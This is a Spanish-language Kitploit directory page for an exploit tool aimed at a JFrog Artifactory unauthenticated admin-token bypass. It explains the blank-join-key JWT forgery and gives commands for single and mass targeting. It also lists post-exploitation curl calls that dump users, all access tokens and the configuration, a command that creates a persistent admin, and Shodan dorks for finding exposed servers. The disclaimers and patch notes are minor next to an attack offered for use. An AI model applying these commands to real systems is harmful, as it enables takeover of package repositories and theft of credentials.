Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/ynsmroztas/cve-2026-82329-jfrog-artifactory-auth-bypass
Autenticación y AutorizaciónEscáneres de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubynsmroztas/cve-2026-82329-jfrog-artifactory-auth-bypass

CVE-2026-82329-JFrog-Artifactory-Auth-Bypass

Exploit para CVE-2026-82329, una omisión de autenticación no autenticada en JFrog Artifactory autoalojado, que permite la toma de control del token de administrador mediante una clave de unión en blanco.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
1hace 8h 50mAún no revisado

artifactory.py

artifactory.py — CVE-2026-82329 unauth admin takeover

root@kitploit:~
╔══════════════════════════════════════════════════════════╗
║  artifactory  ·  CVE-2026-82329 unauth admin takeover    ║
║  mitsec       ·  https://x.com/ynsmroztas                ║
╚══════════════════════════════════════════════════════════╝

CVE-2026-82329 — JFrog Artifactory (self-hosted) unauthenticated join-JWT
→ SERVICE admin token → platform applied-permissions/admin access token.

CVSS 9.8 · CWE-287 · CISA KEV · explotado activamente.

Solo pruebas autorizadas. No ejecutes esto contra sistemas que no sean tuyos o para los que no tengas permiso por escrito.


Qué hace

Las instalaciones self-hosted por defecto confían en una join key en blanco.

root@kitploit:~
JoinKeyUtils.getSigningKey("")  ==  pkcs7(empty, 32)  ==  32 × 0x20
kid = SHA256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

JFrog cloud está parcheado. Solo self-hosted.

Línea de acceso parcheada: 7.191.14.


Instalación

root@kitploit:~
# solo stdlib — sin pip
python3 artifactory.py -h

La verificación TLS está desactivada por defecto (Artifactory con certificado autofirmado es normal).
Sin flag adicional.


Uso

root@kitploit:~
# host único
python3 artifactory.py -u https://artifactory.example.internal:8082

# imprimir token admin generado
python3 artifactory.py -u https://TARGET:8082 --token

# lista / pipeline (estilo httpx, shodan, subfinder)
python3 artifactory.py -l hosts.txt --threads 8
cat hosts.txt | python3 artifactory.py

# Solo Pro / Enterprise — persistir un admin local (destructivo)
python3 artifactory.py -u https://TARGET:8082 --create-admin auditor:ChangeMe_1

Salida

root@kitploit:~
[VULN]  https://TARGET:8082  join=201 svc_scp=admin admin token scp=applied-permissions/admin aud=* config=200/42020b tokens=200 version=7.161.19
[SAFE]  https://patched:8082  join HTTP 401  (parcheado / sin key en blanco)
[FAIL]  https://dead:8082     inalcanzable
Etiqueta

--token imprime el valor Bearer. Eso es la toma de control — un usuario de login es opcional.

--create-admin a menudo devuelve 400 en OSS (PUT /artifactory/api/security/users es de Pro).
El token admin sigue funcionando. La persistencia no es necesaria para un hallazgo válido.


Tras un acierto — usar el token

Reemplaza TARGET y pega el token de --token.

root@kitploit:~
TOKEN='eyJ...'          # salida de --token
B='https://TARGET:8082'

# versión / edición
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/artifactory/api/system/version"

# directorio de usuarios (admin)
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/access/api/v2/users"

# todos los access tokens de la instancia
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/access/api/v1/tokens" | head -c 400

# inventario de repositorios
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/artifactory/api/repositories"

Otras lecturas útiles solo-admin (no escribir salvo autorización):

root@kitploit:~
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/artifactory/api/system/configuration" -o config.xml

curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/artifactory/api/security/users"

curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/access/api/v1/tokens"

UI: Platform → iniciar sesión con Access Token, o enviar
Authorization: Bearer <token> en cada petición.

Usuario persistente opcional (Pro / Access v2)

root@kitploit:~
curl -sk -D- -X POST "$B/access/api/v2/users" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"username":"auditor","email":"[email protected]","password":"ChangeMe_1Aa","admin":true}'

Política de contraseñas 400 ≠ no vulnerable. El token ya tiene aud=*.


Reconocimiento

root@kitploit:~
# Shodan
http.component:"Artifactory" port:8081,8082
title:"Artifactory" "JFrog"
http.html:"/artifactory/webapp"
ssl.cert.subject.CN:"artifactory"

# puertos comunes
8081  8082  8040  8046  443

La herramienta elimina /artifactory /ui /webapp de -u y habla con el router Access en el mismo origen.


Por qué --create-admin no es el hallazgo

Reporta el impacto como: token de administrador de plataforma sin autenticación.
La creación de usuarios es un paso posterior, no el problema raíz.


Referencias

  • NVD — CVE-2026-82329
  • Avisos de seguridad de JFrog
  • Lanzamientos / parches self-managed
  • Lab + diff del parche: dinosn/cve-2026-82329-jfrog-artifactory

Aviso legal

Este repositorio es un validador para sistemas que estás autorizado a probar.
Generar tokens, listar usuarios o crear cuentas en infraestructura de terceros sin permiso es ilegal.

Parche: actualiza a la build corregida de tu rama, configura una join key real y rota los tokens generados tras la divulgación.


mitsec · @ynsmroztas

Descargar herramienta
PasoPeticiónResultado
1Forjar join JWT HS256 (iat reciente, skip_node_registration=true)secreto HMAC conocido
2POST /access/api/v1/registry/join201 token SERVICE scp=admin
3POST /access/api/v1/tokens200 token admin scp=applied-permissions/admin aud=*
4GET /artifactory/api/system/configurationprueba solo-admin (sin auth = 401)
RamaVulnerable ≤Parcheada
7.1117.111.207.111.21
7.1177.117.277.117.28
7.1257.125.197.125.20
7.1337.133.287.133.29
7.1467.146.377.146.38
7.1617.161.197.161.20
Significado
VULNJoin en blanco aceptado + prueba de admin (configuration o lista de tokens = 200)
SAFEJoin rechazado — parcheado, join keys adicionales configuradas, o no es Access
INFOJoin generado, endpoints de prueba no devuelven 200 — inspeccionar manualmente
FAILRed / timeout
SuperficieOSSPro / Enterprise
Generar token de acceso adminsísí
Leer config / listar tokens / repossísí
PUT /artifactory/api/security/users400 solo-Pro200/201
POST /access/api/v2/usersdepende de versión / política201